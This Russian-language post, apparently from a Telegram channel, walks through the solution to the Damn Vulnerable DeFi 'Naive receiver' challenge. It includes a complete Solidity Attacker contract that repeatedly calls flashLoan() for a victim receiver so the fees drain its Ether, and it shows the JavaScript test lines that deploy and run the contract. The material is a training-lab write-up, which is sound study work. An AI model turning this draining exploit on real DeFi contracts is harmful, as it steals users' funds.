Damn Vulnerable Defi. Задача 2. Naive receiver
В чем суть?
Предлагается вывести из строя быстрые займы.
Имеется пул займов с достаточно дорогими flash loans и балансом в 1000 Эфиров. Также есть пользовательский контракт с 10 Эфирами, который может взаимодействовать с пулом и брать займ.
Нужно захватить весь Эфир пользователя. Будет плюсом, если сможете сделать это в одной транзакции.
Уязвимость кроется в функции flashLoan() контракта NaiveReceiverLenderPool, которая не защищена от внешнего вызова другим контрактом. Это мы и будем использовать.
Для начала создадим контракт взлома. Я поместил его в файл с контрактом Naive.
contract Attacker {
NaiveReceiverLenderPool private naive;
constructor(address payable poolAddress) {
naive = NaiveReceiverLenderPool(poolAddress);
}
function attack(address recipient, uint256 attacks) public {
for(uint256 i = 0; i < attacks; i++) {
naive.flashLoan(recipient, 0);
}
}
}
По сути, он подключается к контракту Naive, и от его имени берет займы в пуле.
Затем уже в файле теста js пишем наше решение:
const attackerContract = await (await ethers.getContractFactory('Attacker', attacker)).deploy(this.pool.address);
await attackerContract.connect(attacker).attack(this.receiver.address, 10);
В первой строке мы делаем деплой контракта Attacker, под адресом attacker, который нам дается в начале, и с адресом контракта Naive.
Потом мы подключаемся к контракту от имени attacker и вызываем функцию attack(), с указанием параметров адреса пула и количества итераций.
Проводим тест yarn run naive-receiver и убеждаемся, что все работает.
#dvd #DamnVulnerableDefi
Post #441
179
- 👍 1